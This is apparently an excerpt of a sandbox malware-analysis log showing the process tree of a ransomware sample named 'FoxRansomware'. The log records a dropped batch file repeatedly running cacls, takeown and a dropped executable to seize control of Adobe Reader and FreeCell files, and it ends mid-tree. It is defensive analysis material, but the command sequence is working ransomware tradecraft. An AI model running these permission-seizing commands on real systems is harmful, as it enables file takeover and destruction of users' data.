                                                    • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                      8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                      3⤵
                                                      • Executes dropped EXE
                                                      PID:1544
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_ok.gif""
                                                    2⤵
                                                    • Loads dropped DLL
                                                    PID:1828
                                                    • C:\Windows\SysWOW64\cacls.exe
                                                      cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_ok.gif" /E /G Admin:F /C
                                                      3⤵
                                                        PID:1656
                                                      • C:\Windows\SysWOW64\takeown.exe
                                                        takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_ok.gif"
                                                        3⤵
                                                        • Modifies file permissions
                                                        PID:1276
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "server_ok.gif" -nobanner
                                                        3⤵
                                                        • Loads dropped DLL
                                                        PID:1740
                                                        • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                          8Pk9qSFt.exe -accepteula "server_ok.gif" -nobanner
                                                          4⤵
                                                          • Executes dropped EXE
                                                          PID:1736
                                                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                        8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                        3⤵
                                                        • Executes dropped EXE
                                                        PID:2028
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\warning.gif""
                                                      2⤵
                                                      • Loads dropped DLL
                                                      PID:828
                                                      • C:\Windows\SysWOW64\cacls.exe
                                                        cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\warning.gif" /E /G Admin:F /C
                                                        3⤵
                                                          PID:800
                                                        • C:\Windows\SysWOW64\takeown.exe
                                                          takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\warning.gif"
                                                          3⤵
                                                          • Modifies file permissions
                                                          PID:1616
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "warning.gif" -nobanner
                                                          3⤵
                                                          • Loads dropped DLL
                                                          PID:560
                                                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                            8Pk9qSFt.exe -accepteula "warning.gif" -nobanner
                                                            4⤵
                                                            • Executes dropped EXE
                                                            PID:1268
                                                        • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                          8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                          3⤵
                                                          • Executes dropped EXE
                                                          PID:1920
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-BoldIt.otf""
                                                        2⤵
                                                        • Loads dropped DLL
                                                        PID:1588
                                                        • C:\Windows\SysWOW64\cacls.exe
                                                          cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-BoldIt.otf" /E /G Admin:F /C
                                                          3⤵
                                                            PID:1676
                                                          • C:\Windows\SysWOW64\takeown.exe
                                                            takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-BoldIt.otf"
                                                            3⤵
                                                            • Modifies file permissions
                                                            PID:1000
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "MinionPro-BoldIt.otf" -nobanner
                                                            3⤵
                                                            • Loads dropped DLL
                                                            PID:1608
                                                            • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                              8Pk9qSFt.exe -accepteula "MinionPro-BoldIt.otf" -nobanner
                                                              4⤵
                                                              • Executes dropped EXE
                                                              PID:1600
                                                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                            8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                            3⤵
                                                            • Executes dropped EXE
                                                            PID:1304
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\SY______.PFB""
                                                          2⤵
                                                          • Loads dropped DLL
                                                          PID:1880
                                                          • C:\Windows\SysWOW64\cacls.exe
                                                            cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\SY______.PFB" /E /G Admin:F /C
                                                            3⤵
                                                              PID:604
                                                            • C:\Windows\SysWOW64\takeown.exe
                                                              takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\SY______.PFB"
                                                              3⤵
                                                              • Modifies file permissions
                                                              PID:268
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "SY______.PFB" -nobanner
                                                              3⤵
                                                              • Loads dropped DLL
                                                              PID:1120
                                                              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                8Pk9qSFt.exe -accepteula "SY______.PFB" -nobanner
                                                                4⤵
                                                                • Executes dropped EXE
                                                                PID:992
                                                            • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                              8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                              3⤵
                                                              • Executes dropped EXE
                                                              PID:952
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.hyp""
                                                            2⤵
                                                            • Loads dropped DLL
                                                            PID:1384
                                                            • C:\Windows\SysWOW64\cacls.exe
                                                              cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.hyp" /E /G Admin:F /C
                                                              3⤵
                                                                PID:1868
                                                              • C:\Windows\SysWOW64\takeown.exe
                                                                takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.hyp"
                                                                3⤵
                                                                • Modifies file permissions
                                                                PID:1320
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "brt.hyp" -nobanner
                                                                3⤵
                                                                • Loads dropped DLL
                                                                PID:1712
                                                                • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                  8Pk9qSFt.exe -accepteula "brt.hyp" -nobanner
                                                                  4⤵
                                                                  • Executes dropped EXE
                                                                  PID:664
                                                              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                3⤵
                                                                • Executes dropped EXE
                                                                PID:1276
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng32.clx""
                                                              2⤵
                                                              • Loads dropped DLL
                                                              PID:1740
                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng32.clx" /E /G Admin:F /C
                                                                3⤵
                                                                  PID:1828
                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                  takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng32.clx"
                                                                  3⤵
                                                                  • Modifies file permissions
                                                                  PID:1512
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "eng32.clx" -nobanner
                                                                  3⤵
                                                                  • Loads dropped DLL
                                                                  PID:876
                                                                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                    8Pk9qSFt.exe -accepteula "eng32.clx" -nobanner
                                                                    4⤵
                                                                    • Executes dropped EXE
                                                                    PID:316
                                                                • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                  8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                  3⤵
                                                                  • Executes dropped EXE
                                                                  PID:1368
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CENTEURO.TXT""
                                                                2⤵
                                                                • Loads dropped DLL
                                                                PID:560
                                                                • C:\Windows\SysWOW64\cacls.exe
                                                                  cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CENTEURO.TXT" /E /G Admin:F /C
                                                                  3⤵
                                                                    PID:828
                                                                  • C:\Windows\SysWOW64\takeown.exe
                                                                    takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CENTEURO.TXT"
                                                                    3⤵
                                                                    • Modifies file permissions
                                                                    PID:1944
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "CENTEURO.TXT" -nobanner
                                                                    3⤵
                                                                    • Loads dropped DLL
                                                                    PID:972
                                                                    • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                      8Pk9qSFt.exe -accepteula "CENTEURO.TXT" -nobanner
                                                                      4⤵
                                                                      • Executes dropped EXE
                                                                      PID:108
                                                                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                    8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                    3⤵
                                                                    • Executes dropped EXE
                                                                    PID:1948
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\UKRAINE.TXT""
                                                                  2⤵
                                                                  • Loads dropped DLL
                                                                  PID:1608
                                                                  • C:\Windows\SysWOW64\cacls.exe
                                                                    cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\UKRAINE.TXT" /E /G Admin:F /C
                                                                    3⤵
                                                                      PID:1748
                                                                    • C:\Windows\SysWOW64\takeown.exe
                                                                      takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\UKRAINE.TXT"
                                                                      3⤵
                                                                      • Modifies file permissions
                                                                      PID:1328
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "UKRAINE.TXT" -nobanner
                                                                      3⤵
                                                                      • Loads dropped DLL
                                                                      PID:604
                                                                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                        8Pk9qSFt.exe -accepteula "UKRAINE.TXT" -nobanner
                                                                        4⤵
                                                                        • Executes dropped EXE
                                                                        PID:268
                                                                    • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                      8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                      3⤵
                                                                      • Executes dropped EXE
                                                                      PID:992
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini""
                                                                    2⤵
                                                                    • Loads dropped DLL
                                                                    PID:292
                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                      cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini" /E /G Admin:F /C
                                                                      3⤵
                                                                        PID:1756
                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                        takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini"
                                                                        3⤵
                                                                        • Modifies file permissions
                                                                        PID:1984
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "AGMGPUOptIn.ini" -nobanner
                                                                        3⤵
                                                                        • Loads dropped DLL
                                                                        PID:1616
                                                                        • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                          8Pk9qSFt.exe -accepteula "AGMGPUOptIn.ini" -nobanner
                                                                          4⤵
                                                                          • Executes dropped EXE
                                                                          PID:316
                                                                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                        8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                        3⤵
                                                                        • Executes dropped EXE
                                                                        PID:1368
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini""
                                                                      2⤵
                                                                      • Loads dropped DLL
                                                                      PID:1740
                                                                      • C:\Windows\SysWOW64\cacls.exe
                                                                        cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini" /E /G Admin:F /C
                                                                        3⤵
                                                                          PID:828
                                                                        • C:\Windows\SysWOW64\takeown.exe
                                                                          takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini"
                                                                          3⤵
                                                                          • Modifies file permissions
                                                                          PID:1700
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "eula.ini" -nobanner
                                                                          3⤵
                                                                          • Loads dropped DLL
                                                                          PID:1676
                                                                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                            8Pk9qSFt.exe -accepteula "eula.ini" -nobanner
                                                                            4⤵
                                                                            • Executes dropped EXE
                                                                            PID:1800
                                                                        • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                          8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                          3⤵
                                                                          • Executes dropped EXE
                                                                          PID:1184
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png""
                                                                        2⤵
                                                                        • Loads dropped DLL
                                                                        PID:1688
                                                                        • C:\Windows\SysWOW64\cacls.exe
                                                                          cacls "C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png" /E /G Admin:F /C
                                                                          3⤵
                                                                            PID:1328
                                                                          • C:\Windows\SysWOW64\takeown.exe
                                                                            takeown /F "C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png"
                                                                            3⤵
                                                                            • Modifies file permissions
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:268
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "FreeCellMCE.png" -nobanner
                                                                            3⤵
                                                                            • Loads dropped DLL
                                                                            PID:1120
                                                                            • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                              8Pk9qSFt.exe -accepteula "FreeCellMCE.png" -nobanner
                                                                              4⤵
                                                                              • Executes dropped EXE
                                                                              PID:1608
                                                                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                            8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                            3⤵
                                                                            • Executes dropped EXE
                                                                            PID:1708
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc""
                                                                          2⤵
                                                                          • Loads dropped DLL
                                                                          PID:1712
                                                                          • C:\Windows\SysWOW64\cacls.exe
                                                                            cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc" /E /G Admin:F /C
                                                                            3⤵
                                                                              PID:2028
                                                                            • C:\Windows\SysWOW64\takeown.exe
                                                                              takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc"
                                                                              3⤵
                                                                              • Modifies file permissions
                                                                              PID:1984
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "AcroSign.prc" -nobanner
                                                                              3⤵
                                                                              • Loads dropped DLL
                                                                              PID:876
                                                                              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                8Pk9qSFt.exe -accepteula "AcroSign.prc" -nobanner
                                                                                4⤵
                                                                                • Executes dropped EXE
                                                                                PID:800
                                                                            • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                              8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                              3⤵
                                                                              • Executes dropped EXE
                                                                              PID:1856
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig""
                                                                            2⤵
                                                                            • Loads dropped DLL
                                                                            PID:1276
                                                                            • C:\Windows\SysWOW64\cacls.exe
                                                                              cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig" /E /G Admin:F /C
                                                                              3⤵
                                                                                PID:1944
                                                                              • C:\Windows\SysWOW64\takeown.exe
                                                                                takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig"
                                                                                3⤵
                                                                                • Modifies file permissions
                                                                                PID:1700
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "cryptocme2.sig" -nobanner
                                                                                3⤵
                                                                                • Loads dropped DLL
                                                                                PID:1600
                                                                                • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                  8Pk9qSFt.exe -accepteula "cryptocme2.sig" -nobanner
                                                                                  4⤵
                                                                                  • Executes dropped EXE
                                                                                  PID:972
                                                                              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                3⤵
                                                                                • Executes dropped EXE
                                                                                PID:1652
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\MyriadCAD.otf""
                                                                              2⤵
                                                                              • Loads dropped DLL
                                                                              PID:1956
                                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                                cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\MyriadCAD.otf" /E /G Admin:F /C
                                                                                3⤵
                                                                                  PID:1364
                                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                                  takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\MyriadCAD.otf"
                                                                                  3⤵
                                                                                  • Modifies file permissions
                                                                                  PID:520
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "MyriadCAD.otf" -nobanner
                                                                                  3⤵
                                                                                  • Loads dropped DLL
                                                                                  PID:1380
                                                                                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                    8Pk9qSFt.exe -accepteula "MyriadCAD.otf" -nobanner
                                                                                    4⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:1304
                                                                                • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                  8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                  3⤵
                                                                                  • Executes dropped EXE
                                                                                  PID:1960
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\create_form.gif""
                                                                                2⤵
                                                                                • Loads dropped DLL
                                                                                PID:1688
                                                                                • C:\Windows\SysWOW64\cacls.exe
                                                                                  cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\create_form.gif" /E /G Admin:F /C
                                                                                  3⤵
                                                                                    PID:1984
                                                                                  • C:\Windows\SysWOW64\takeown.exe
                                                                                    takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\create_form.gif"
                                                                                    3⤵
                                                                                    • Modifies file permissions
                                                                                    PID:800
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "create_form.gif" -nobanner
                                                                                    3⤵
                                                                                    • Loads dropped DLL
                                                                                    PID:876
                                                                                    • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                      8Pk9qSFt.exe -accepteula "create_form.gif" -nobanner
                                                                                      4⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:1368
                                                                                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                    8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                    3⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:536
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif""
                                                                                  2⤵
                                                                                    PID:664
                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                      cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif" /E /G Admin:F /C
                                                                                      3⤵
                                                                                        PID:560
                                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                                        takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif"
                                                                                        3⤵
                                                                                        • Modifies file permissions
                                                                                        PID:1800
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "info.gif" -nobanner
                                                                                        3⤵
                                                                                          PID:1300
                                                                                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                            8Pk9qSFt.exe -accepteula "info.gif" -nobanner
                                                                                            4⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:1652
                                                                                        • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                          8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                          3⤵
                                                                                            PID:1276
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif""
                                                                                          2⤵
                                                                                            PID:760
                                                                                            • C:\Windows\SysWOW64\cacls.exe
                                                                                              cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif" /E /G Admin:F /C
                                                                                              3⤵
                                                                                                PID:1588
                                                                                              • C:\Windows\SysWOW64\takeown.exe
                                                                                                takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif"
                                                                                                3⤵
                                                                                                • Modifies file permissions
                                                                                                PID:1380
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "review_same_reviewers.gif" -nobanner
                                                                                                3⤵
                                                                                                  PID:1120
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                    8Pk9qSFt.exe -accepteula "review_same_reviewers.gif" -nobanner
                                                                                                    4⤵
                                                                                                      PID:1632
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                    8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                    3⤵
                                                                                                      PID:740
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif""
                                                                                                    2⤵
                                                                                                      PID:1616
                                                                                                      • C:\Windows\SysWOW64\cacls.exe
                                                                                                        cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif" /E /G Admin:F /C
                                                                                                        3⤵
                                                                                                          PID:1368
                                                                                                        • C:\Windows\SysWOW64\takeown.exe
                                                                                                          takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif"
                                                                                                          3⤵
                                                                                                          • Modifies file permissions
                                                                                                          PID:1296
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "trash.gif" -nobanner
                                                                                                          3⤵
                                                                                                            PID:536
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                              8Pk9qSFt.exe -accepteula "trash.gif" -nobanner
                                                                                                              4⤵
                                                                                                                PID:1528
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                              8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                              3⤵
                                                                                                                PID:1228
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Bold.otf""
                                                                                                              2⤵
                                                                                                                PID:1676
                                                                                                                • C:\Windows\SysWOW64\cacls.exe
                                                                                                                  cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Bold.otf" /E /G Admin:F /C
                                                                                                                  3⤵
                                                                                                                    PID:1976
                                                                                                                  • C:\Windows\SysWOW64\takeown.exe
                                                                                                                    takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Bold.otf"
                                                                                                                    3⤵
                                                                                                                    • Modifies file permissions
                                                                                                                    PID:1300
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "CourierStd-Bold.otf" -nobanner
                                                                                                                    3⤵
                                                                                                                      PID:1920
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                        8Pk9qSFt.exe -accepteula "CourierStd-Bold.otf" -nobanner
                                                                                                                        4⤵
                                                                                                                          PID:1944
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                        8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                        3⤵
                                                                                                                          PID:1948
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-It.otf""
                                                                                                                        2⤵
                                                                                                                          PID:1588
                                                                                                                          • C:\Windows\SysWOW64\cacls.exe
                                                                                                                            cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-It.otf" /E /G Admin:F /C
                                                                                                                            3⤵
                                                                                                                              PID:1960
                                                                                                                            • C:\Windows\SysWOW64\takeown.exe
                                                                                                                              takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-It.otf"
                                                                                                                              3⤵
                                                                                                                              • Modifies file permissions
                                                                                                                              PID:1608
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
